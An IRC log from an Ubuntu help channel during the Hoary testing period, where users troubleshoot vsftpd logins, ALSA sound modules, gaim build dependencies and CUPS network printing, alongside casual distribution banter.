[11:01] <Telep> hmm, Synaptic's working fine with me on Hoary
[11:02] <Striss> Ok I have a question...I'm upgrading to Hoary now, when it becomes stable, will I be able to upgrade to that?
[11:02] <Striss> or will i be stuck with unstable hoary
[11:02] <Cuga_> lev, do this test, create a new user now, and see if it can ftp in
[11:02] <GnuHippy> it must be fixed now because synaptic would quit on me when I tried to install anything with dependancies
[11:02] <|trey|> Striss, as they stabalize it, you will just get new packages when you dist-upgrade...
[11:02] <Striss> excellent
[11:02] <Striss> linux kicks ass
[11:02] <FreddyF>              description: Multimedia audio controller
[11:02] <FreddyF>              product: VT8233/A/8235/8237 AC97 Audio Controller
[11:02] <FreddyF>              vendor: VIA Technologies, Inc.
[11:02] <|trey|> Striss, will be simular to Warty, I upgraded like 3 packages the day it was released  :)
[11:02] <lev> Cuga_: hang on...thanks for the help, btw...
[11:03] <Cuga_> lev, np
[11:03] <mvo_> GnuHippy: this problem is fixed
[11:03] <Striss> I compiled MPlayer a few days ago myself, will this upgrade mess up anything with those mplayer binaries?
[11:03] <vinc1> Anyone have any luck wth an ipod mini?
[11:03] <GnuHippy> k
[11:03] <Striss> I have too many questions I think
[11:03] <Cuga_> FreddyF, Well thats about the most common onboard card out there... you say you dont have any alsa stuff.. why don't you install alsa-base and alsa-utils ?
[11:03] <GnuHippy> are there any other big bugs I should know about
[11:03] <GnuHippy> I think I want to go back
[11:03] <|trey|> Striss, it shouldn't... you put them in /usr/local/ right?
[11:03] <FreddyF> yea, i login as root and type alsaconf... doesent work
[11:03] <Striss> yep
[11:03] <Matt|> vinc1, i use an ipod mini
[11:03] <lev> Cuga_: nope, new user ftptest can't login...my maintenance account doesn't have a problem though.
[11:03] <lev> Cuga
[11:03] <|trey|> Striss, apt ignores /usr/local  ;)
[11:03] <Striss> k
[11:04] <nesman89> question:  connecting through nautilus to windows network.  i can see all the computers in the network however when i try to access shares on the computer i get an "access denied you don't have permissions error"  anybody else seen this and if so any ideas.  or is it a fix in a future issue
[11:04] <Striss> I was so suprised how much better MPlayer performs in ubuntu than it did in OS X
[11:04] <FreddyF> so.. apt-get install alsa-base and apt-get install alsa-utils?
[11:04] <Striss> i was very pleased
[11:04] <Cuga_> FreddyF, yep
[11:04] <Cuga_> FreddyF, also, are you running a stock kernel? or custom?
[11:04] <|trey|> FreddyF, umm, you can just apt-get install alsa-utils... it will drag alsa-base with it  ;)
[11:04] <lev> Cuga_: do I need to restart the ftp server so it knows users created since it executed? that would be odd...but the only difference between the two groups is that stsunx existed before i started vsftpd
[11:04] <FreddyF> the default ubuntu came with
[11:05] <Cuga_> lev, then there must be a list of 'allowd' users somewhere if you didn't notice anything odd lookign in /etc/groups
[11:05] <|trey|> FreddyF, uname -r to sound smart  ;)
[11:05] <lev> Cuga_: that's what i'd think, but i've checked all the ones i know...
[11:05] <Cuga_> lev, worth a shot, but I can't see that working, sec, im gonna install it here and take a peak, i only use sftp on my servers
[11:05] <FreddyF> Reading Package Lists... Done
[11:05] <FreddyF> Building Dependency Tree... Done
[11:05] <FreddyF> alsa-utils is already the newest version.
[11:05] <FreddyF> 0 upgraded, 0 newly installed, 0 to remove and 4 not upgraded.
[11:06] <FreddyF> It still says no fbad command when i type alsaconf
[11:06] <lev> Cuga_: i avoid ftp in general -- we need a regular old ftp set up here at work to distribute class files. i'd love to just use ssh...i know that a lot better... :-)
[11:06] <|trey|> FreddyF, sudo apt-get dist-upgrade to get the packages 'not upgraded'
[11:06] <Cuga_> tryed sudo alsaconf ?
[11:06] <HrdwrBoB> ubuntu doesn't ship with alsaconf
[11:06] <HrdwrBoB> because it breaks ubuntu
[11:06] <HrdwrBoB> by default
[11:06] <|trey|> dpkg-reconfigure alsaconf
[11:07] <Cuga_> HrdwrBoB, really, thats good to know, thanks
[11:07] <nesman89> any ideas on windows networking issue?
[11:07] <|trey|> HrdwrBoB, afaik, early adopters still got it... was removed from archive during Warty release... never had anything conflict with it though...
[11:07] <Cuga_> lev, when you installed vsftp, did it give you the option of using mysql stored accounts?
[11:08] <FreddyF> Setting up lvm10 (1.0.8-4ubuntu1.1) ...
[11:08] <FreddyF>   No volume groups found
[11:08] <FreddyF> that does not sound good
[11:08] <|trey|> FreddyF, its fine... Ubuntu doesn't set up lvm by default
[11:08] <Striss> i guess I should go reboot my system and see if Hoary will play nice with my mac
[11:08] <Striss> i'll be back to let you guys know how it goes...i hope
[11:08] <|trey|> Striss, :)
[11:08] <FreddyF> welll i ran apt-get dist-upgrade and alsaconf still does not work
[11:09] <|trey|> FreddyF, they removed it from the archive....
[11:09] <|trey|> FreddyF, you can remove it if you want... its useless...
[11:09] <lev> Cuga_: gee...I really don't remember.
[11:09] <FreddyF> well, I figured i need to run alsaconf to get my sound working
[11:09] <FreddyF> how else can i get sound working
[11:10] <|trey|> FreddyF, nope... you just need to know what module you need... and make sure its not muted  :)
[11:10] <lev> Cuga_: i'm pretty sure my vsftpd isn't set up like that, but i'm not certain
[11:11] <|trey|> FreddyF, lspci and tell me what it says your audio device is...
[11:11] <Cuga_> lev, you've looked in vsftpd.ftpusers right ?
[11:11] <FreddyF> 0000:00:11.5 Multimedia audio controller: VIA Technologies, Inc. VT8233/A/8235/8237 AC97 Audio Controller (rev 50)
[11:12] <|trey|> FreddyF, also, just for kicks... Computer > System Configuration > Devices... see if its loaded...
[11:12] <|trey|> FreddyF, ahh, same as me  :)
[11:12] <|trey|> FreddyF, I load via82xx and ac97 and it works  :)
[11:12] <FreddyF> hmm
[11:13] <FreddyF> why wont mine work heh!
[11:13] <lev> Cuga_: oh my. i do apologize -- no, I didn't. i looked in /etc/ftpusers and at the pam entry...i don't remember there being a vsftpd-specific user file. but I guess there is.
[11:13] <|trey|> FreddyF, you have ac97 loaded?
[11:13] <|trey|> FreddyF, lsmod | grep ac97
[11:13] <lev> Cuga_: thanks for the trouble -- i feel silly that it was such a trivial answer.
[11:13] <lev> :-)
[11:13] <FreddyF> I havent a clue
[11:13] <|trey|> FreddyF, lsmod | grep ac97  <-- if that doesn't show you anything, answer = no
[11:14] <Kal_Zakath> gnaite all
[11:14] <FreddyF> root@obscurity:/home/zero # lsmod | grep ac97
[11:14] <FreddyF> snd_ac97_codec         59268  1 snd_via82xx
[11:14] <FreddyF> snd                    50660  11 snd_via82xx,snd_ac97_codec,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_timer,snd_mpu401_uart,snd_rawmidi,snd_seq_device
[11:14] <Cuga_> lev, np :)
[11:14] <HrdwrBoB> lev: trivial answers are good
[11:14] <|trey|> FreddyF, if no; then modprobe ac97 && echo ac97 >> /etc/modules
[11:14] <FreddyF> so i should run modprobe ac97 && echo ac97 >> /etc/modules right now?
[11:15] <|trey|> FreddyF, try it, yeah...
[11:15] <lev> HrdwrBoB: yeah -- i'm glad this takes care of it. the more i feel like an idiot, the more i learn about computers, i find. thanks for all your help.
[11:15] <|trey|> FreddyF, its the only thing I ever have to do to get sound working...
[11:15] <FreddyF> works
[11:15] <FreddyF> thanks man
[11:15] <FreddyF> :)
[11:15] <|trey|> FreddyF, yw  :)
[11:15] <Cuga_> lev, story of my life haha, i'm always looking for bigger issues then are acktually at hand.. burned me a few times haha
[11:15] <FreddyF> you guys are great, keep up the good work
[11:16] <|trey|> Cuga_, breaking things makes computing more fun imo  ;)
[11:16] <[Phaedrus] > you are a strange one |trey|
[11:16] <[Phaedrus] > :)
[11:16] <Cuga_> haha
[11:16] <|trey|> [Phaedrus] , ahha... seriously though, computers bore me when everything works  :(
[11:17] <|trey|> I have to like, play games or something *shudder*
[11:17] <[Phaedrus] > tell me again, where do you work?
[11:17] <|trey|> [Phaedrus] , studying Network Technology right now... not working...
[11:17] <[Phaedrus] > well, that explains a fair bit
[11:17] <|trey|> 2 classes (so 10 weeks) from my Assosiates  :)
[11:18] <[Phaedrus] > you are "involved" with computers
[11:18] <|trey|> [Phaedrus] , yup yup... I am like the resident "Linux Guy"... pretty funny when the Linux Admin instructor asks you for help   ;)
[11:18] <nightlybuild> hello Ubuntu world !
[11:19] <|trey|> [Phaedrus] , switched one Linux instructor to Debian too prior to Ubuntu being released
[11:19] <|trey|> Was a Gentoo user *shudder*
[11:20] <|trey|> nightlybuild, hey  :)
[11:20] <[Phaedrus] > gentoo is nice... its made for people like you
[11:20] <[Phaedrus] > my roommate and best friend uses gentoo... i havent yet seen him use his computer
[11:20] <vinc1> gentoo is nice, but time consuming
[11:20] <[Phaedrus] > for the past year or so, there is always something compiling, something being fixed
[11:21] <vinc1> I actually used my gentoo
[11:21] <|trey|> [Phaedrus] , I resent that... renders my system fairly useless though... compiling all the time kinda takes away from the speed advantages...
[11:21] <vinc1> you don't have to compile all the time
[11:21] <[Phaedrus] > well, he has a notebook and a desktop
[11:21] <[Phaedrus] > vinc1, my roomate was on the "bleeding edge"
[11:22] <[Phaedrus] > always trying out new things, trying to encrypt his hard-drive and stuff
[11:22] <[Phaedrus] > i can safely say, there was no rest for his system
[11:22] <|trey|> [Phaedrus] , I'm constantly apt-cache search'ing for things to play with...
[11:23] <vinc1> ther'es no rest for mine ever
[11:25] <[Phaedrus] > |trey|,why dont you put your time into programming?
[11:25] <MyKq3> hello can i install kde with out makeing all the kde programs the defult programs on Gnome ?
[11:25] <|trey|> [Phaedrus] , I want to, but no time to learn  :(
[11:25] <HrdwrBoB> MyKq3: yes that's the default
[11:25] <HrdwrBoB> when you install kde it's just there
[11:26] <|trey|> [Phaedrus] , I definatly plan on learning at least C# once I get out of school though...
[11:26] <limaunion> hi can someone tell me how can i do to 'auto-mount' smb filesystems? I've already added them to my fstab, but they aren't mounted while booting.
[11:26] <HrdwrBoB> |trey|: teach yourself python or perl or php or something
[11:26] <HrdwrBoB> ti's not hard
[11:27] <|trey|> (just cuz it looks useful and fairly easy... due to Ubuntu's stance on Python, I am also looking at that though..)
[11:27] <MyKq3> HrdwrBoB,  the last time i installed kde after i  installed gnome it made all the kde programs the default ( e.g. when i trye to open a txt file it opend it with kedit  instad of gedit
[11:27] <rebirth> back :)
[11:27] <HrdwrBoB> MyKq3: oh... that's Bad[tm] 
[11:27] <MyKq3> =\
[11:28] <|trey|> HrdwrBoB, C# has a much larger usage base though... .NET and Mono (GTK#, Qt#, Cocoa#)... so thats why I am learning towards that...
[11:28] <|trey|> leaning*
[11:28] <HrdwrBoB> |trey|: don't learn a language
[11:28] <HrdwrBoB> learn the concepts
[11:29] <HrdwrBoB> a good coder can learna new language in less than a few days
[11:29] <|trey|> HrdwrBoB, what better way to learn the concepts then to actual learn some though?
[11:29] <HrdwrBoB> it's a matter of mapping the same concepts to new semantics
[11:29] <HrdwrBoB> |trey|: precisely
[11:29] <HrdwrBoB> but my point is, don't get too hung up on the language
[11:30] <HrdwrBoB> python is a good start, esp because it'll teach you OO right from the start
[11:30] <HrdwrBoB> and it's damn easy to uyse
[11:30] <HrdwrBoB> use
[11:30] <HrdwrBoB> perl, while I like it and use it daily, is somewhat more.. finnicky
[11:30] <|trey|> HrdwrBoB, even more so with EssentialPython :)
[11:31] <|trey|> HrdwrBoB, yeah, thats why I haven't given that any serious consideration yet...
[11:31] <|trey|> Perl code just looks uglier then Python code too 9 times out of 10...
[11:32] <HrdwrBoB> true, though when I'm text munging I can get a lot more out of perl very easily
[11:32] <zzzzz> why isnt gtk installed with ubuntu?
[11:32] <|trey|> zzzzz, you mean 1.2? because its not required...
[11:32] <|trey|> zzzzz, dpkg -l libgtk-2.0 | grep ^ii
[11:33] <zzzzz> refuses to compile gaim 1.0.2
[11:33] <zzzzz> *** GLib 2.0 is required to build Gaim; please make sure you have the GLib
[11:33] <zzzzz> *** development headers installed. The latest version of GLib is
[11:33] <zzzzz> *** always available at http://www.gtk.org/.
[11:33] <HrdwrBoB> zzzzz: you will need the dev module :)
[11:33] <|trey|> zzzzz, need libgtk-2.0-dev
[11:33] <HrdwrBoB> sudo apt-get install glib2.0-dev
[11:33] <zzzzz> No packages found matching libgtk-2.0.
[11:33] <HrdwrBoB> er libglib-dev
[11:34] <|trey|> uhhh, and what HrdwrBoB just said  :)
[11:34] <HrdwrBoB> libglib1.2-dev
[11:34] <HrdwrBoB> that one
[11:34] <epod> if I install k3b, will it show up in my gnome menu?
[11:34] <|trey|> zzzzz, ahh, then get rid of the -  :)
[11:34] <HrdwrBoB> epod: I don't beleive so
[11:34] <epod> er, install it with synaptic, that is
[11:34] <|trey|> HrdwrBoB, umm, hey, yeah, Gaim 1.0.2 = gtk 2.x  ;)
[11:35] <|trey|> HrdwrBoB, you just told him to get old glib... :(
[11:35] <HrdwrBoB> |trey|: glib is only at version 1.2
[11:35] <HrdwrBoB> er
[11:35] <HrdwrBoB> no
[11:35] <HrdwrBoB> I such
[11:35] <HrdwrBoB> such
[11:35] <HrdwrBoB> ffs
[11:35] <zzzzz> so if i apt-get libglib1.2-dev I should be able to compile gaim without problems?
[11:35] <HrdwrBoB> apt-cache is being arse
[11:35] <HrdwrBoB> libglib2.0-dev - Development files for the GLib library
[11:35] <HrdwrBoB> zzzzz: ok, run this command sudo apt-get install libglib2.0-dev libgtk2.0-dev
[11:36] <zzzzz> Thanks =)
[11:37] <|trey|> HrdwrBoB, told ya so, or something  ;)
[11:38] <HrdwrBoB> heh
[11:39] <|trey|> libgtk2.0-0 is not very obvious  :(
[11:39] <GnuHippy> wow hoary has improved 10 fold
[11:39] <|trey|> should be just libgtk2
[11:39] <GnuHippy> I just did an apt-get upgrade
[11:39] <GnuHippy> to hoary
[11:39] <GnuHippy> amazatron
[11:39] <zzzzz> wow
[11:39] <zzzzz> i love you guys
[11:39] <GnuHippy> everything works
[11:39] <|trey|> GnuHippy, I haven't noticed *that* much... which is actually prolly a good thing  :)
[11:39] <zzzzz> best distro ive used, and ive used over 9
[11:40] <vinc1> 5..
[11:40] <GnuHippy> I have used almost ever distro known to man
[11:40] <GnuHippy> every modern day os known to man
[11:40] <vinc1> red hat for a day, suse for 2 days
[11:40] <vinc1> then gentoo for months
[11:40] <vinc1> vidalinux for 2 weeks
[11:40] <|trey|> Then, only about 7 or 8 have lasted the night though...
[11:40] <vinc1> now ubuntu for a couple of days
[11:40] <GnuHippy> Vida is horrid
[11:40] <vinc1> vida wasn't bad
[11:41] <GnuHippy> red hat and mandrake suck now
[11:41] <vinc1> they sucked before
[11:41] <GnuHippy> gentoo is for people who have no lives
[11:41] <vinc1> I don't really
[11:41] <nosilver4u> or for people who actually want to learn about their computers
[11:41] <GnuHippy> Debian is nice but only sid
[11:41] <|trey|> GnuHippy, not even that... its for people that can't think of anything else to waste clock cycles on  ;)
[11:41] <nosilver4u> instead of just use them
[11:42] <GnuHippy> hey I used gentoo for longest while and I learned more using "handholding" distros than I did with Gentoo
[11:42] <vinc1> Gentoo shocks you into it
[11:42] <topyli> vinc1: what is vida all about? never heard
[11:42] <|trey|> nosilver4u, I used Gentoo, only thing I learned was that compiling everything takes too fucking long!!
[11:42] <GnuHippy> gentoo was just following a guide and reporting to forums when things fucked up
[11:42] <GnuHippy> which they did
[11:42] <GnuHippy> constantly
[11:42] <GnuHippy> even in a stage 3 install
[11:42] <GnuHippy> genkernel is terrible
[11:43] <vinc1> vidalinux is basically a stage3 gentoo install using anaconda that preconfigures the gui and has a frontend for portage
[11:43] <|trey|> First time I installed Gentoo... I installed a stage 3, then still did everything for stage 1... fun stuff...
[11:43] <defendguin> hey im trying to print to a cups networked printer but it says the device is busy but it isnt what can i do i really need to print something
[11:43] <vinc1> I started with stage1..
[11:43] <|trey|> defendguin, what kind of Printer?
[11:44] <defendguin> HP deskjet
[11:44] <|trey|> defendguin, you been to http://www.linuxprinting.org/ recently?
[11:44] <topyli> vinc1: gentoo for newbies?
[11:44] <Hikaru79> I have the same problem
[11:44] <Hikaru79> So if you help defendguin, you're helping too :D
[11:44] <epod> ok, java is installed, I can play DVD's, my palm pilot works, wifi works, sound words, cardreader works, ati drivers work, umm.
[11:44] <|trey|> defendguin, ahh, I swear HP's hardware is supposed to just work... IPP is supposed to not require software configuration  :(
[11:44] <epod> crap ubuntu has left me with nothing to do!
[11:45] <|trey|> CUPS supports IPP afaik  :(
[11:45] <epod> ;)
[11:45] <defendguin> |trey|, it was working
[11:45] <|trey|> epod, ikr... damn them for not breaking enough packages to keep me busy  :)
[11:45] <defendguin> i dont know what happened all of a sudden it says its busy
[11:45] <defendguin> but it isnt printing anything
[11:45] <|trey|> defendguin, I don't have a printer here... so not very familier with CUPS, sorry  :(
[11:46] <epod> |trey|, totally :)  Now i need GAMES! GAMESSS!
[11:46] <Hikaru79> My problem involves the fact that the printer is connected to a Windows network
[11:46] <|trey|> epod, BZFlag should be supported *nods*
[11:46] <Hikaru79> I can see the windows network fine
[11:46] <Hikaru79> But not the printer >>
[11:46] <Hikaru79> Any ideas?
[11:46] <|trey|> That game is addicting  :)
[11:47] <shevegen> Question to make sure:  Ubuntu does not come with gcc ? Cant seem to find one.
[11:47] <bob2> mdz: i know...is it at the stage where you want wide testing from non-developers, tho?
[11:47] <|trey|> shevegen, apt-get install build-essential
[11:47] <epod> This is so weird.  ALSA seems to think my headphone volume setting controls my speakers.
[11:47] <bob2> shevegen: of course it does, install build-essential
[11:47] <mdz> bob2: adventurous ones, yes :-)
[11:47] <bob2> mdz: hah, ok
[11:47] <|trey|> mdz, *cough* *cough*
[11:48] <Tsjoklat> morn all
[11:48] <|trey|> mdz, expect I didn't see what ya'll are talking about  :(
[11:48] <Hikaru79> But I get this error on the printer property page when I try to print a test page: Printing: Connection failed with error NT_STATUS_UNSUCCESSFUL
[11:48] <mdz> bob2: the text at http://lists.ubuntu.com/archives/ubuntu-announce/2004-October/000005.html sums it up clearly
[11:48] <mdz> |trey|: hoary
[11:48] <shevegen> bob2: true, works like a charm, thanks :)
[11:49] <|trey|> mdz, damnit, I've been running hoary for like a week...  ;)
[11:49] <|trey|> mdz, sup @ you all not giving me any bugs to report?  :(
[11:49] <clee> daniels: you're a bastard
[11:50] <defendguin> this blows that at my hour of need printing fails
[11:50] <shevegen> thx for the help, laters guys
[11:50] <Hikaru79> =/
[11:50] <mdz> |trey|: the word of the day is "features", rather than bugs.  bugs are for freeze time :-)
[11:50] <|trey|> defendguin, sorry man... wish I could help more  :(
[11:50] <Hikaru79> defendguin, let's both complain about our printers at once and maybe someone will take mercy on us ><
[11:50] <Hikaru79> ;)
[11:50] <Hikaru79> Mine's more of a network problem though
[11:50] <defendguin> Printing: Network host '192.168.1.100' is busy; will retry in 30 seconds...INFO: Connecting to 192.168.1.100 on port 631...
[11:50] <Hikaru79> Since I'm sure if it could actually find the printer over the network it woudl be fine
[11:50] <Hikaru79> Since it's one of the "supported" models
[11:51] <defendguin> ipp://192.168.1.100:631/printers/printer   this worked for me
[11:51] <defendguin> the printer is connected to a fedora box
[11:51] <topyli> |trey|: the amount of hoary bugs is indeed so low it worries me :)
[11:51] <|trey|> mdz, I've been poking around looking for features... only thing thats annoyed me so far (other then polypaudio not being ready) is gaim's text format bar being greyed... thats fixed in 1.0.2 though, so now I am left with no fun  :(
[11:51] <GnuHippy> indeed hoary is amazing
[11:51] <GnuHippy> and it was released only a week ago
[11:52] <linux_mafia> |trey|, install beagle i tell you
[11:52] <epod> hoary is done?
[11:52] <GnuHippy> not done
[11:52] <Striss> woohoo, Hoary is working good
[11:52] <epod> Oh ok good
[11:52] <zzzzz> I apologize for my idiocy... but i compiled gaim 1.0.2 and it yells at me about ssl... so i go to the gami site, check the faq and I check out the debian release, I download libgnutls11-dev.deb and try to run it but it fails
[11:52] <GnuHippy> but you can test it
[11:52] <Acridien> Striss: marvellous
[11:52] <epod> I want to stick to stable
[11:52] <epod> :)
[11:52] <GnuHippy> and it works fantastic
[11:52] <|trey|> linux_mafia, haha... I probably will... don't need any new things to worry about before Friday though  :)
[11:52] <|trey|> linux_mafia, I have 2 finals in the next 2 days... so yeah  :)
[11:52] <Striss> no problems with any of my main apps so far
[11:53] <linux_mafia> |trey|, finals of what?
[11:53] <GnuHippy> flunk them
[11:53] <GnuHippy> Linux is more important
[11:53] <|trey|> linux_mafia, NT Admin final lab and final test...
[11:53] <topyli> epod: compare your warty and the warty objectives at the wiki. they don't match yet :)
[11:53] <|trey|> linux_mafia, fun stuff... pulling a low A right now though, so I should be fine  :)
[11:53] <aitrus> NT Admin??? what more do you have to know besides ctrl+alt+del??
[11:53] <topyli> epod: not warty damn it, hoary :)
[11:53] <epod> Ok, I have one last fun issue to fix! How do I get my USB hard disk to automagically register when I plug it in?
[11:53] <mirak_> hahahah
[11:54] <GnuHippy> and how to stick in your XP cd when you have to reformat every week
[11:54] <|trey|> aitrus, rather a lot actually... like RIS and DNS and DHCP and well, just about a million clicks  :/
[11:54] <|trey|> GnuHippy, umm, working with Server 2k and 2k3   :/
[11:54] <GnuHippy> same thing
[11:54] <epod> I hate XP.  I fix windows systems all day.  The sheer amount of spyware people get astounds me
[11:55] <|trey|> GnuHippy, merging of AD between those is a pain *nods*
[11:55] <GnuHippy> learn to use your ASR console
[11:55] <GnuHippy> you'll need it
[11:55] <|trey|> GnuHippy, ASR?
[11:55] <GnuHippy> automated system recovery
[11:55] <|trey|> GnuHippy, hahah
[11:55] <HrdwrBoB> ?
[11:55] <HrdwrBoB> alt.sysadmin.recovery
[11:55] <HrdwrBoB> what's what asr is :)
[11:56] <epod> pfft, just reinstall :D
[11:56] <linux_mafia> |trey|, any nix on your course?
[11:56] <|trey|> I dunno, I haven't hated the server products as much as I thought I would... but yeah...
[11:56] <epod> Argh, I want to turn off my stupid touchpad.
[11:56] <|trey|> linux_mafia, I already took the Linux classes... averaged a 97  :)
[11:56] <GnuHippy> comment out you synaptic driver epod
[11:57] <linux_mafia> |trey|, this at uni?
[11:57] <epod> GnuHippy, Yeah, though I'd kind of rather figure out a way to do it on the fly, since I sometimes use it. Hm.
[11:57] <|trey|> linux_mafia, yeah... about to get my AAS  :)
[11:57] <linux_mafia> ??
[11:57] <mirak_> |trey|, what uni?.....and what  is AAS?
[11:58] <zzzzz> Why wont ubuntu let me install libgnutls11-dev_1.0.16-9_i386.deb ?
[11:58] <|trey|> Assosiates of Applied Science... Collins College's Network Administration course...
[11:58] <mirak_> kk
[11:58] <|trey|> zzzzz, no idea, what does it complain about?
[11:58] <zzzzz> There was an error launching the application.
[11:58] <|trey|> zzzzz, what application?
[11:58] <|trey|> zzzzz, dpkg -i it
[11:59] <|trey|> zzzzz, apt-get install any_deps_it_complains_about
[11:59] <mirak_> |trey|, im a newb....what does "dpkg -i" do.......wand when would i use it?
[11:59] <|trey|> mirak, install's .deb's  :)
[12:00] <zzzzz> ah... ill play around with this
[12:00] <zzzzz> thanks